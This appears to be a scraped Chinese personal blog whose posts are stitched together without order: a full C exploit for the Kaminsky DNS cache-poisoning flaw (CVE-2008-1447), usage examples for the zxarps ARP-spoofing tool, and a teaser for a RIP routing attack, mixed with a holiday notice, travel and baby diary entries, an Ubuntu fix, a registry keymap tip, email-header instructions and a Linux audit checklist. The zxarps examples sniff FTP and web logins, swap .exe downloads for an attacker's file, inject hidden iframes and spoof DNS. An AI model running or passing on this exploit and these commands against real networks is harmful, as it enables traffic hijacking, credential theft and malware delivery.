
不要用来干坏事呀 
download
www.i170.com/Attach/93B5A865-4122-4831-8CFE-950206894801
/*
* Exploit for CVE-2008-1447 - Kaminsky DNS Cache Poisoning
Attack
*
* Compilation:
* $ gcc -o kaminsky-attack kaminsky-attack.c `dnet-config
--libs` -lm
*
* Dependency: libdnet (aka libdumbnet-dev under Ubuntu)
*
* Author: marc.bevand at rapid7 dot com
*/
#define _BSD_SOURCE
#include <sys/types.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
#include <time.h>
#include <unistd.h>
#include <dumbnet.h>
#define DNSF_RESPONSE
(1<<15)
#define DNSF_AUTHORITATIVE (1<<10)
#define DNSF_REC_DESIRED (1<<8)
#define DNSF_REC_AVAILABLE (1<<7)
#define TYPE_A 0x1
#define TYPE_NS 0x2
#define CLASS_IN 0x1
struct dns_pkt
{
uint16_t txid;
uint16_t flags;
uint16_t nr_quest;
uint16_t nr_ans;
uint16_t nr_auth;
uint16_t nr_add;
} __attribute__ ((__packed__));
void format_domain(u_char *buf, unsigned size, unsigned
*len, const char *name)
{
unsigned bufi, i, j;
bufi = i = j = 0;
while (name[i])
{
if (name[i] == '.')
{
if (bufi + 1 + (i
- j) > size)
fprintf(stderr, "format_domain overflow\n"), exit(1);
buf[bufi++] = i -
j;
memcpy(buf + bufi,
name + j, i - j);
bufi += i - j;
j = i + 1;
}
i++;
}
if (bufi + 1 + 2 + 2 > size)
fprintf(stderr, "format_domain
overflow\n"), exit(1);
buf[bufi++] = 0;
*len = bufi;
}
void format_qr(u_char *buf, unsigned size, unsigned *len,
const char *name, uint16_t type, uint16_t class)
{
uint16_t tmp;
// name
format_domain(buf, size, len, name);
// type
tmp = htons(type);
memcpy(buf + *len, &tmp, sizeof (tmp));
*len += sizeof (tmp);
// class
tmp = htons(class);
memcpy(buf + *len, &tmp, sizeof (tmp));
*len += sizeof (tmp);
}
void format_rr(u_char *buf, unsigned size, unsigned *len,
const char *name, uint16_t type, uint16_t class, uint32_t ttl,
const char *data)
{
format_qr(buf, size, len, name, type, class);
// ttl
ttl = htonl(ttl);
memcpy(buf + *len, &ttl, sizeof (ttl));
*len += sizeof (ttl);
// data length + data
uint16_t dlen;
struct addr addr;
switch (type)
{
case TYPE_A:
dlen = sizeof
(addr.addr_ip);
break;
case TYPE_NS:
dlen =
strlen(data) + 1;
break;
default:
fprintf(stderr,
"format_rr: unknown type %02x", type);
exit(1);
}
dlen = htons(dlen);
memcpy(buf + *len, &dlen, sizeof (dlen));
*len += sizeof (dlen);
// data
unsigned len2;
switch (type)
{
case TYPE_A:
if
(addr_aton(data, &addr) < 0)
fprintf(stderr, "invalid destination IP: %s", data), exit(1);
memcpy(buf + *len,
&addr.addr_ip, sizeof (addr.addr_ip));
*len += sizeof
(addr.addr_ip);
break;
case TYPE_NS:
format_domain(buf
+ *len, size - *len, &len2, data);
*len += len2;
break;
default:
fprintf(stderr,
"format_rr: unknown type %02x", type);
exit(1);
}
}
void dns_query(u_char *buf, unsigned size, unsigned *len,
uint16_t txid, uint16_t flags, const char *name)
{
u_char *out = buf;
struct dns_pkt p = {
.txid = htons(txid),
.flags = htons(flags),
.nr_quest = htons(1),
.nr_ans = htons(0),
.nr_auth = htons(0),
.nr_add = htons(0),
};
u_char qr[256];
unsigned l;
format_qr(qr, sizeof (qr), &l, name, TYPE_A,
CLASS_IN);
if (sizeof (p) + l > size)
fprintf(stderr, "dns_query
overflow"), exit(1);
memcpy(out, &p, sizeof (p));
out += sizeof (p);
memcpy(out, qr, l);
out += l;
*len = sizeof (p) + l;
}
void dns_response(u_char *buf, unsigned size, unsigned
*len,
uint16_t txid, uint16_t flags,
const char *q_name, const char
*q_ip,
const char *domain, const char
*auth_name, const char *auth_ip)
{
u_char *out = buf;
u_char *end = buf + size;
u_char rec[256];
unsigned l_rec;
uint32_t ttl = 24*3600;
struct dns_pkt p = {
.txid = htons(txid),
.flags = htons(flags),
.nr_quest = htons(1),
.nr_ans = htons(1),
.nr_auth = htons(1),
.nr_add = htons(1),
};
(void)domain;
*len = 0;
if (out + *len + sizeof (p) > end)
fprintf(stderr, "dns_response
overflow"), exit(1);
memcpy(out + *len, &p, sizeof (p)); *len += sizeof
(p);
// queries
format_qr(rec, sizeof (rec), &l_rec, q_name,
TYPE_A, CLASS_IN);
if (out + *len + l_rec > end)
fprintf(stderr, "dns_response
overflow"), exit(1);
memcpy(out + *len, rec, l_rec); *len += l_rec;
// answers
format_rr(rec, sizeof (rec), &l_rec, q_name,
TYPE_A, CLASS_IN,
ttl, q_ip);
if (out + *len + l_rec > end)
fprintf(stderr, "dns_response
overflow"), exit(1);
memcpy(out + *len, rec, l_rec); *len += l_rec;
// authoritative nameservers
format_rr(rec, sizeof (rec), &l_rec, domain,
TYPE_NS, CLASS_IN,
ttl,
auth_name);
if (out + *len + l_rec > end)
fprintf(stderr, "dns_response
overflow"), exit(1);
memcpy(out + *len, rec, l_rec); *len += l_rec;
// additional records
format_rr(rec, sizeof (rec), &l_rec, auth_name,
TYPE_A, CLASS_IN,
ttl, auth_ip);
if (out + *len + l_rec > end)
fprintf(stderr, "dns_response
overflow"), exit(1);
memcpy(out + *len, rec, l_rec); *len += l_rec;
}
unsigned build_query(u_char *buf, const char *srcip, const
char *dstip, const char *name)
{
unsigned len = 0;
// ip
struct ip_hdr *ip = (struct ip_hdr *)buf;
ip->ip_hl = 5;
ip->ip_v = 4;
ip->ip_tos = 0;
ip->ip_id = rand() & 0xffff;
ip->ip_off = 0;
ip->ip_ttl = IP_TTL_MAX;
ip->ip_p = 17; // udp
ip->ip_sum = 0;
struct addr addr;
if (addr_aton(srcip, &addr) < 0)
fprintf(stderr, "invalid source IP:
%s", srcip), exit(1);
ip->ip_src = addr.addr_ip;
if (addr_aton(dstip, &addr) < 0)
fprintf(stderr, "invalid destination
IP: %s", dstip), exit(1);
ip->ip_dst = addr.addr_ip;
// udp
struct udp_hdr *udp = (struct udp_hdr *)(buf +
IP_HDR_LEN);
udp->uh_sport = htons(1234);
udp->uh_dport = htons(53);
// dns
dns_query(buf + IP_HDR_LEN + UDP_HDR_LEN,
(unsigned)(sizeof
(buf) - (IP_HDR_LEN + UDP_HDR_LEN)), &len,
rand(),
DNSF_REC_DESIRED, name);
// udp len
len += UDP_HDR_LEN;
udp->uh_ulen = htons(len);
// ip len & cksum
len += IP_HDR_LEN;
ip->ip_len = htons(len);
ip_checksum(buf, len);
return len;
}
unsigned build_response(u_char *buf, const char *srcip,
const char *dstip,
uint16_t port_resolver, uint16_t
txid,
const char *q_name, const char
*q_ip,
const char *domain, const char
*auth_name, const char *auth_ip)
{
unsigned len = 0;
// ip
struct ip_hdr *ip = (struct ip_hdr *)buf;
ip->ip_hl = 5;
ip->ip_v = 4;
ip->ip_tos = 0;
ip->ip_id = rand() & 0xffff;
ip->ip_off = 0;
ip->ip_ttl = IP_TTL_MAX;
ip->ip_p = 17; // udp
ip->ip_sum = 0;
struct addr addr;
if (addr_aton(srcip, &addr) < 0)
fprintf(stderr, "invalid source IP:
%s", srcip), exit(1);
ip->ip_src = addr.addr_ip;
if (addr_aton(dstip, &addr) < 0)
fprintf(stderr, "invalid destination
IP: %s", dstip), exit(1);
ip->ip_dst = addr.addr_ip;
// udp
struct udp_hdr *udp = (struct udp_hdr *)(buf +
IP_HDR_LEN);
udp->uh_sport = htons(53);
udp->uh_dport = htons(port_resolver);
// dns
dns_response(buf + IP_HDR_LEN + UDP_HDR_LEN,
(unsigned)(sizeof
(buf) - (IP_HDR_LEN + UDP_HDR_LEN)), &len,
txid,
DNSF_RESPONSE | DNSF_AUTHORITATIVE,
q_name, q_ip,
domain, auth_name, auth_ip);
// udp len
len += UDP_HDR_LEN;
udp->uh_ulen = htons(len);
// ip len & cksum
len += IP_HDR_LEN;
ip->ip_len = htons(len);
ip_checksum(buf, len);
return len;
}
void usage(char *name)
{
fprintf(stderr, "Usage: %s <ip-querier>
<ip-resolver> <ip-authoritative> "
"<port-resolver> <subhost> <domain>
<any-ip> <attempts> <repl-per-attempt>\n"
"
<ip-querier> Source IP
used when sending queries for random hostnames\n"
"
(typically your IP)\n"
"
<ip-resolver> Target DNS
resolver to attack\n"
"
<ip-authoritative> One of the authoritative DNS servers for
<domain>\n"
"
<port-resolver> Source port used by the
resolver when forwarding queries\n"
"
<subhost>
Poison the cache with the A record
<subhost>.<domain>\n"
"
<domain>
Domain name, see <subhost>.\n"
"
<any-ip>
IP of your choice to be associated to
<subhost>.<domain>\n"
"
<attempts>
Number of poisoning attemps, more attempts increase the\n"
"
chance of successful poisoning, but also the attack time\n"
"
<repl-per-attempt> Number of spoofed replies to send per
attempt, more replies\n"
"
increase the chance of successful poisoning but, but also\n"
"
the rate of packet loss\n"
"Example:\n"
" $ %s
q.q.q.q r.r.r.r a.a.a.a 1234 pwned example.com. 1.1.1.1 8192
16\n"
"This should cause
a pwned.example.com A record resolving to 1.1.1.1 to appear\n"
"in r.r.r.r's
cache. The chance of successfully poisoning the resolver
with\n"
"this example
(8192 attempts and 16 replies/attempt) is 86%%\n"
"(1-(1-16/65536)**8192). This example also requires a bandwidth of
about\n"
"2.6 Mbit/s (16
replies/attempt * ~200 bytes/reply * 100 attempts/sec *\n"
"8 bits/byte) and
takes about 80 secs to complete (8192 attempts /\n"
"100
attempts/sec).\n",
name, name);
}
int main(int argc, char **argv)
{
if (argc != 10)
usage(argv[0]), exit(1);
const char *querier = argv[1];
const char *ip_resolver = argv[2];
const char *ip_authoritative = argv[3];
uint16_t port_resolver = (uint16_t)strtoul(argv[4],
NULL, 0);
const char *subhost = argv[5];
const char *domain = argv[6];
const char *anyip = argv[7];
uint16_t attempts = (uint16_t)strtoul(argv[8], NULL,
0);
uint16_t replies = (uint16_t)strtoul(argv[9], NULL,
0);
if (domain[strlen(domain) - 1 ] != '.')
fprintf(stderr, "domain must end
with dot(.): %s\n", domain), exit(1);
printf("Chance of success: 1-(1-%d/65536)**%d =
%.2f\n", replies, attempts, 1 - pow((1 - replies / 65536.),
attempts));
srand(time(NULL));
int unique = rand() + (rand() << 16);
u_char buf[IP_LEN_MAX];
unsigned len;
char name[256];
char ns[256];
ip_t *iph;
if ((iph = ip_open()) == NULL)
err(1, "ip_open");
int cnt = 0;
while (cnt < attempts)
{
// send a query for a random
hostname
snprintf(name, sizeof (name),
"%08x%08x.%s", unique, cnt, domain);
len = build_query(buf, querier,
ip_resolver, name);
if (ip_send(iph, buf, len) !=
len)
err(1,
"ip_send");
// give the resolver enough time to
forward the query and be in a state
// where it waits for answers;
sleeping 10ms here limits the number of
// attempts to 100 per sec
usleep(10000);
// send spoofed replies, each reply
contains:
// - 1 query: query for the "random
hostname"
// - 1 answer: "random hostname" A
1.1.1.1
// - 1 authoritative nameserver:
<domain> NS <subhost>.<domain>
// - 1 additional record:
<subhost>.<domain> A <any-ip>
snprintf(ns, sizeof (ns), "%s.%s",
subhost, domain);
unsigned r;
for (r = 0; r < replies; r++)
{
// use a txid that
is just 'r': 0..(replies-1)
len =
build_response(buf, ip_authoritative, ip_resolver,
port_resolver, r, name, "1.1.1.1", domain, ns, anyip);
if (ip_send(iph,
buf, len) != len)
err(1, "ip_send");
}
cnt++;
}
ip_close(iph);
return 0;
}
// milw0rm.com [2008-07-25]
baby 8 monthes
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
http://news.sina.com.cn/c/2008-03-14/065915146555.shtml
根据国务院办公厅通知精神,现将2008年清明节放假安排通知如下:
4月4日至6日放假,共3天。
其中,4月4日(清明节)为法定节假日,4月5日(星期六)、4月6日(星期日)照常公休。各企事业单位可根据生产和工作情况自行安排。节日期间,各单位要加强值班,认真做好防火、安全保卫和卫生防疫等各项工作。
北京市人民政府办公厅二○○八年三月十四日
来到了传说中的香格里拉,晚上零下十几度,大高原,冷得彻骨,远处的山上挂着白雪,水里结着冷,香格里拉市中心美丽的人工喷泉,喷泉二三十米高,可是喷泉池里结着厚厚的冰
大街上中午太阳睛好,人比较多,早上出来,街上就我们几个,一出来就感觉到刀子划向我的脸、手和我的裤管,哪叫一个冷
这几天天气睛好,还好,看天气预报,两三天后要下雪,怎么办啊
而过几天还要去怒江,那可是大雪山啊
深夜了,给我的宝宝写一点
从湖南老家过来广州有两天了,愈发想念我的宝宝
宝宝到今天出生有12天了
我的宝宝
一出生头发就黑黑的,长长的,密密的,这点很象他爸爸小时候。
两只小手手张得大大的,指头伸得很开,一看将来又是个不聚财的家伙,这个象极了他爸爸妈妈.
也不怎么哭闹,吃完了就睡,饿了就会哭两声来提醒,就是吃奶的时间有些长,把他妈妈累得够怆,一顿奶可以吃两三个小时,分两次吃,第一次睡醒了哭两声,就知道要吃奶了,吃了一半不吃了,这会儿就知道要大小便了,大小便完了又继续吃,吃完了就满足的睡去,睡着的时候打着饱嗝,一下一下的。
要大小便了也会哭两声来提醒,所以很多时候就不会把大小便拉到尿片上,要大便之前还会放个屁来预告一下,如果要小便,小JJ头会被尿涨得挺挺的,让你一见就知道马上要拉尿了
。
白天醒着的时间不多,醒着的时候眼睛睁着爸爸的脸,眼珠子一转一转的,受不了强光,在医院的时候日光灯太强了,一打开灯灯光直射到眼睛就闭上了,在家钨丝灯(不敢开日光灯了)柔和的灯光宝宝很喜欢。晚上就闹腾了,而且晚上吃奶的时间特别长,一顿奶两三个小时大多在晚上,折腾他妈妈,爸爸又要起来给妈妈弄吃的去,妈妈给他吃饿了。
爷爷奶奶也象个孩子一样,要跟妈妈抢着晚上和宝宝一起睡,现在爸爸来广州了,奶奶如愿以偿的跑到妈妈房间整晚上的陪着宝宝了。爷爷坐不住了,要把宝宝晚上抱过去,吃奶时送过来给妈妈,说和爷爷睡整晚上不哭不闹腾宝宝最乖了,并说在医院里有两晚爷爷抱着整晚上都安安静静的,这倒让我感受到了爷爷招呼小孩的功夫,是啊,我们兄弟几个都是他养大的。
最后要说的是,楚姐送宝宝的礼物,在老家我打开发现里面还有张卡片,有楚姐、周宁、越武和小伊给宝宝起的名字和祝福,真的让我很感动。楚姐最是为我的宝宝费心了,为宝宝的名字楚姐去英特网找好名字,我给宝宝起的刘创的名字给楚姐测出来只打75分,楚姐给起的刘星辰(超毅也起过这名字)和刘湘湘分别打99.5(完美了)和85的高分,呵呵J
我的宝宝还有三十多天就要出生了,我却还在云南忙项目,而且这个项目估计要弄到12月底
宝宝的名字还没有想好
就要从儿子的身份变成父亲了,希望我的宝宝将来是个有出息的人,胜过他爸爸,一生幸福,快乐
今天在vmware server 上安装了Ubuntu Server
6.10。安装一切顺利,但无法启动。提示
"Unknown interrupt or fault at EIP 00000060 c0100295 00000294"。
网上搜了一下,原来是server
kernel在编译时打开了HIGHMEM64G支持,需要CPU支持PAE才行。试了他们的方法可以解决步骤如下:
使用ubuntu server安装光盘启动,选择"Rescue a broken
system"选项,然后进行配置,在进行到"Rescue operations"的时候,选择"Execute a shell in
/dev/hda1"(后面的路径会根据你的根分区而有所不同),然后运行"apt-get install
linux-686",也就是安装新的generic内核(要有耐心速度相当慢),安装完成重启就OK了。
通过注册表来修改键位的方法
Keyboard Customizer
Utility虽然提供win键的功能,但可选项太少。如果直接改注册表,就可以将任意键定义成其它键。
将以下等号间的文字copy到记事本中,存为.reg文件,再导入注册表,重启动,就可以实现将右Alt键定义为左Win键的功能(对2000及XP有效)
===================================================
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard
Layout]
"Scancode Map"=hex:00,00,00,00,00,00,00,00,\
02,00,00,00,\
5b,e0,38,e0,\
00,00,00,00
===================================================
解释一下
Value
Interpretation
0x00000000 Header: Version.
Set to all zeroes.
0x00000000 Header: Flags.
Set to all zeroes.
0x00000002 Two entries in
the map (including null entry).
0xE038E05B Right ALT key
--> Windows key (0xE038 --> 0xE05B).
0x00000000 Null
terminator.
比较一下将左Alt键定义为左Win键的功能的注册表文件吧
===================================================
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard
Layout]
"Scancode Map"=hex:00,00,00,00,00,00,00,00,\
02,00,00,00,\
5b,e0,38,00,\
00,00,00,00
===================================================
就是右alt键的scancode:e038变成了左alt键的scancode:0038
大家自己想怎么改,就自己试吧
各个键位的scancode map在这儿下载:
http://download.microsoft.com/download/whistler/hwdev3/1.0/WXP/EN-US/scancode.exe
以上方法对ps2键盘有效,usb键盘的scancode map跟ps2键盘不一样,对照表在这儿:
http://www.microsoft.com/hwdev/download/tech/input/translate.pdf
转载
http://www.edu.cn/20030924/3091744.shtml
这个用于追踪邮件发送的IP地址与垃圾邮件的源头非常有效
另附上安焦大牛Refdom《追踪垃圾邮件来源》一文,点击下面下载
www.i170.com/Attach/38146837-4B26-4ED9-9FDC-1BAD516B8FE3
|
如何查看邮件信头
|
|
|
|
|
|
|
|
|
1. Outlook Express(windows预装)
第二步:在属性窗口中点击“详细信息”,如下图:
通过窗口,您就可以看到该邮件标头的详细信息了。为了查看方便,可以单击”邮件来源”,就会放大当前的窗口。
第二步:在打开的“邮件选项”属性窗口的底部就可以找到邮件信头,如下图:
3.Foxmail
第二步:在打开的“邮件选项”属性窗口的底部就可以找到邮件信头,如下图:
4. Hotmail Web Mail
第二步:在“其它选项” 栏中,选择“邮件显示”设置,如下图:
第三步:在“邮件头”的选项栏中,选择“高级”或“完整”,按“确定”,如下图:
第四步:经过以上设置,打开邮件时即可显示邮件的信头路由信息,如果选择了“完整”,还可以查看邮件的源文件,如下图:
5. Lotus Notes
第二步:弹出的窗口中即可看到邮件的路由信息,如下图:
6. 新浪WEB邮件
|
转自哇~老大之blog
这是一个奇怪的现象:猛兽大部分时间是慵懒的。猛虎肉醉,狮王常睡。越是在短时间爆发出迅猛搏杀的,越需要长时间养精蓄锐。狮、虎、豹、熊,多为懒汉,彻底放松,王者坦然。看看它们那种懒散随便的样子,就知道处于食物链顶端的肉食者何等自信。
相反的一面就是草食动物基本上都是勤快的,要逐水草,要大迁徙,要不停地吃,要不停地生,还要随时提高警觉性,吃草要竖起耳朵,睡觉只能睁眼打个盹。马是站着睡觉的,除非病卧倒毙,不会躺下。在自然界,草食动物就是弱者,生存没有安全感,因而也没有懒的资格。
人的社会不等同于自然界,但也不能完全摆脱自然法则。君不见,熙熙攘攘忙忙碌碌奔走求食之辈,多黑瘦勤快;懒懒散散不慌不忙稳坐高卧之流,皆肥白懒慢。固然,一个竞争激烈的社会,做一个真正的懒汉不容易了,但是当一个懒卧的狮子还是人生的高境界理想。首先,要有安全感,放心大胆地睡,没人能吃掉你。其次,要衣食住行无忧,不被贪欲所驱动。第三,知道自己是狮子,可为肉醉,不为肉累,保持那份坦然比多捞几只羚羊更珍贵。
现在老是提倡进取,在物质利益方面,过于进取,则是贪欲。尤其当了狮子,贪则丑,懒则美。当一个懒汉是一种人生境界,因为,猛兽多是懒汉。
超毅介绍的,必属精品

程序下载:
www.i170.com/Attach/5DBBB105-17CC-4202-AB44-68429C6DD0C1
(怕毒的请不要下载
)
程序代码
0. Realtek RTL8139
IP Address. . . . . : 192.168.1.101
Physical Address. . : 00-11-D8-6B-5E-19
Default Gateway . . : 192.168.1.1
1. WAN (PPP/SLIP) Interface
IP Address. . . . . : xx.xx.xx.xx
Physical Address. . : 00-52-00-00-00-00
Default Gateway . . : xx.xx.xx.xx
options:
-idx [index] 网卡索引号
-ip [ip] 欺骗的IP,用'-'指定范围,','隔开
-sethost [ip] 默认是网关,可以指定别的IP
-port [port] 关注的端口,用'-'指定范围,','隔开,没指定默认关注所有端口
-reset 恢复目标机的ARP表
-hostname 探测主机时获取主机名信息
-logfilter [string]设置保存数据的条件,必须+-_做前缀,后跟关键字,
','隔开关键字,多个条件'|'隔开
所有带+前缀的关键字都出现的包则写入文件
带-前缀的关键字出现的包不写入文件
带_前缀的关键字一个符合则写入文件(如有+-条件也要符合)
-save_a [filename] 将捕捉到的数据写入文件 ACSII模式
-save_h [filename] HEX模式
-hacksite [ip] 指定要插入代码的站点域名或IP,
多个可用','隔开,没指定则影响所有站点
-insert [html code]指定要插入html代码
-postfix [string] 关注的后缀名,只关注HTTP/1.1 302
-hackURL [url] 发现关注的后缀名后修改URL到新的URL
-filename [name] 新URL上有效的资源文件名
-hackdns [string] DNS欺骗,只修改UDP的报文,多个可用','隔开
格式: 域名|IP,www.aa.com|222.22.2.2,www.bb.com|1.1.1.1
-Interval [ms] 定时欺骗的时间间隔,默认是3秒
-spoofmode [1|2|3] 将数据骗发到本机,欺骗对象:1为网关,2为目标机,3为两者
-speed [kb] 限制指定的IP或IP段的网络总带宽,单位:KB
example:
嗅探指定的IP段中端口80的数据,并以HEX模式写入文件
zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.50 -port 80 -save_h sniff.log
FTP嗅探,在21或2121端口中出现USER或PASS的数据包记录到文件
zxarps.exe -idx 0 -ip 192.168.0.2 -port 21,2121 -spoofmode 2 -logfilter "_USER ,_PASS" -save_a sniff.log
HTTP web邮箱登陆或一些论坛登陆的嗅探,根据情况自行改关键字
zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.50 -port 80 -logfilter "+POST ,+user,+pass" -save_a sniff.log
用|添加嗅探条件,这样FTP和HTTP的一些敏感关键字可以一起嗅探
zxarps.exe -idx 0 -ip 192.168.0.2 -port 80,21 -logfilter "+POST ,+user,+pass|_USER ,_PASS" -save_a sniff.log
如果嗅探到目标下载文件后缀是exe等则更改Location:为http://xx.net/test.exe
zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.12,192.168.0.20-192.168.0.30 -spoofmode 3 -postfix ".exe,.rar,.zip" -hackurl http://xx.net/ -filename test.exe
指定的IP段中的用户访问到-hacksite中的网址则只显示just for fun
zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.99 -port 80 -hacksite 222.2.2.2,www.a.com,www.b.com -insert "just for fun<noframes>"
指定的IP段中的用户访问的所有网站都插入一个框架代码
zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.99 -port 80 -insert "<iframe src='xx' width=0 height=0>"
指定的两个IP的总带宽限制到20KB
zxarps.exe -idx 0 -ip 192.168.0.55,192.168.0.66 -speed 20
DNS欺骗
zxarps.exe -idx 0 -ip 192.168.0.55,192.168.0.66 -hackdns "www.aa.com|222.22.2.2,www.bb.com|1.1.1.1"
zxarps Build 01/17/2007 By LZX.
找到了攻击RIP路由协议的方法,嘎嘎!

在此感谢二位黄先生,泽鸿(CCIE)给于我在动态路由协议上的很多指点(很久没摸路由器了,都忘干净了^_^),超毅(黑客之王)给于我对攻击思路的指点,感谢二位牛

对于运行RIP动态路由协议路由器的路由表可以通过本文的办法对其随意撰改,造成其路由表紊乱,并足以使其网络中断
不多说了,看附件
www.i170.com/Attach/4EDE0467-3D5B-468F-9EBB-0202F9024853
ps:附件暂时加密,等段时间了再发不加密的附件,如果想要密码的朋友也可以通过各种方式联系我

当然,如果您有足够的时间,您可以自己爆破它~
转载
http://blog.chinaunix.net/u/22117/showart.php?id=145271
1 系统信息
1.1 主机名、域名信息检查
1.1.1 说明:
得到系统主机名、域名
1.1.2 检查方法:
hostname domainname
1.1.3 结果分析方法:
# hostname
cat
# domainname
(none)
1.2 系统版本信息检查
1.2.1 说明:
得到系统版本信息
1.2.2 检查方法:
uname -a
1.2.3 结果分析方法:
# uname -a
Linux Sec 2.4.19 #17 SMP Wed Oct 30 14:18:13 CST 2002 i686 i686 i386 GNU/Linux
1.2.4 备注:
本例输出中系统内核版本为2.4.19
1.3 网卡信息检查
1.3.1 说明:
得到网卡信息
1.3.2 检查方法:
ifconfig -a
1.3.3 结果分析方法:
# ifconfig -a
1.3.4 备注:
HWaddr:MAC地址
inet addr:IP地址
Bcast:广播地址
Mask:掩码
如果系统已经安装iproute2(通过rpm -qa | grep iproute确认),则可以使用ip命令获得网卡信息。
获得网卡地址:
# ip add ls
获得网卡信息:
# ip link ls
获得系统ARP表:
# ip neigh ls
获得系统路由表:
# ip ro ls
更多ip命令请参考ip(8),即# man 8 ip
1.4 系统路由信息检查
1.4.1 说明:
得到系统路由信息
1.4.2 检查方法:
netstat –r ip ro ls
1.4.3 结果分析方法:
# netstat -r
# ip ro ls
1.4.4 备注:
如果系统支持ip命令,建议使用ip命令进行信息检查。
1.5 系统加载模块信息检查
1.5.1 说明:
查看系统已加载的模块
1.5.2 检查方法:
lsmod
1.5.3 结果分析方法:
# lsmod
2 补丁安装情况
2.1 系统已安装的rpm包信息检查
2.1.1 说明:
得到系统已经安装的rpm包列表
2.1.2 检查方法:
rpm -qa
2.1.3 结果分析方法:
# rpm -qa
3 帐号和口令
3.1 系统空密码帐号信息检查
3.1.1 说明:
查看系统是否存在空密码帐号
3.1.2 检查方法:
awk -F: '($2 = = "") { print $1 }' /etc/shadow
3.1.3 结果分析方法:
# awk -F: '($2 = = "") { print $1 }' /etc/shadow
3.2 系统uid=0帐号信息检查
3.2.1 说明:
查看系统uid=0的帐号
3.2.2 检查方法:
awk -F: '($3 = = 0) { print $1 }' /etc/passwd
3.2.3 结果分析方法:
# awk -F: '($3 == 0) { print $1 }' /etc/passwd
root
3.2.4 备注:
本例输出说明只有root帐号uid=0
3.3 系统缺省用户(组)信息检查
3.3.1 说明:
得到系统缺省用户(组)
3.3.2 检查方法:
cat /etc/passwd
3.3.3 结果分析方法:
查看是否存在系统缺省帐号,如:
lp, sync, shutdown, halt, news, uucp, operator, games, gopher等
3.4 系统帐号shell变量信息检查
3.4.1 说明:
得到系统帐号shell变量
3.4.2 检查方法:
cat /etc/passwd
3.4.3 结果分析方法:
# cat /etc/passwd
看最后域是否是/sbin/nologin或/dev/null
3.5 passwd、shadow文件检查
3.5.1 说明:
检查系统passwd、shadow文件,确保系统中每个用户都有密码,并且密码被shadow。
3.5.2 检查方法:
pwck
3.5.3 结果分析方法:
# pwck
3.6 系统缺省密码最短长度检查
3.6.1 说明:
得到系统缺省密码最短长度
3.6.2 检查方法:
cat /etc/login.defs | grep PASS_MIN_LEN
3.6.3 结果分析方法:
# cat /etc/login.defs | grep PASS_MIN_LEN
# PASS_MIN_LEN Minimum acceptable password length.
PASS_MIN_LEN 5
3.7 系统自动注销帐号登录检查
3.7.1 说明:
得到超时后系统自动注销帐号登录信息
3.7.2 检查方法:
cat /etc/profile | grep TMOUT
3.7.3 结果分析方法:
# cat /etc/profile | grep TMOUT
3.7.4 备注:
本例输出表示并未对自动注销帐号登录作设置
3.8 root PATH环境变量检查
3.8.1 说明:
得到root PATH环境变量,是否包含当前目录“.”
3.8.2 检查方法:
echo $PATH | grep “:.”
3.8.3 结果分析方法:
# echo $PATH | grep “:.”
3.8.4 备注:
此检查有一定的局限性,只检查了当前用户的路径设置。
3.9 禁止使用ftp的帐号检查
3.9.1 说明:
得到禁止使用ftp的帐号
3.9.2 检查方法:
cat /etc/ftpusers
3.10 结果分析方法:
# cat /etc/ftpusers
3.11 允许su为root的帐号信息检查
3.11.1 说明:
检查是否允许任何人su为root
3.11.2 检查方法:
vi /etc/pam.d/su
3.11.3 结果分析方法:
# vi /etc/pam.d/su
…
auth sufficient /lib/security/pam_rootok.so
auth required /lib/security/pam_wheel.so group=wheel
…
3.11.4 备注:
本例输出表示只有wheel组中的用户才可以允许su为root
3.11.5 bash shell保存少量命令检查
3.11.6 说明:
得到bash shell能保存的命令条数
3.11.7 检查方法:
cat /etc/profile | grep HISTSIZE
3.11.8 结果分析方法:
# cat /etc/profile | grep HISTSIZE
HISTSIZE=1000
3.12 用户对主机使用的限制检查
3.12.1 说明:
得到系统限制用户对主机使用的信息
3.12.2 检查方法:
cat /etc/security/limits.conf
3.12.3 结果分析方法:
# cat /etc/security/limits.conf
# /etc/security/limits.conf
#
#Each line describes a limit for a user in the form:
#
#<domain> <type> <item> <value>
#
#Where:
#<domain> can be:
# - an user name
# - a group name, with @group syntax
# - the wildcard *, for default entry
#
#<type> can have the two values:
# - "soft" for enforcing the soft limits
# - "hard" for enforcing hard limits
#
#<item> can be one of the following:
# - core - limits the core file size (KB)
# - data - max data size (KB)
# - fsize - maximum filesize (KB)
# - memlock - max locked-in-memory address space (KB)
# - nofile - max number of open files
# - rss - max resident set size (KB)
# - stack - max stack size (KB)
# - cpu - max CPU time (MIN)
# - nproc - max number of processes
# - as - address space limit
# - maxlogins - max number of logins for this user
# - priority - the priority to run user process with
# - locks - max number of file locks the user can hold
#
#<domain> <type> <item> <value>
#
#* soft core 0
#* hard rss 10000
#@student hard nproc 20
#@faculty soft nproc 20
#@faculty hard nproc 50
#ftp hard nproc 0
#@student - maxlogins 4
# End of file
3.12.4 备注:
本例输出表示系统并未限制用户对主机的使用(进程使用、尝试登录次数等)
3.13 系统是否允许guest或匿名连接信息检查
3.13.1 说明:
查看系统是否允许guest或匿名连接
3.13.2 检查方法:
cat /etc/ftpaccess | grep class
3.13.3 结果分析方法:
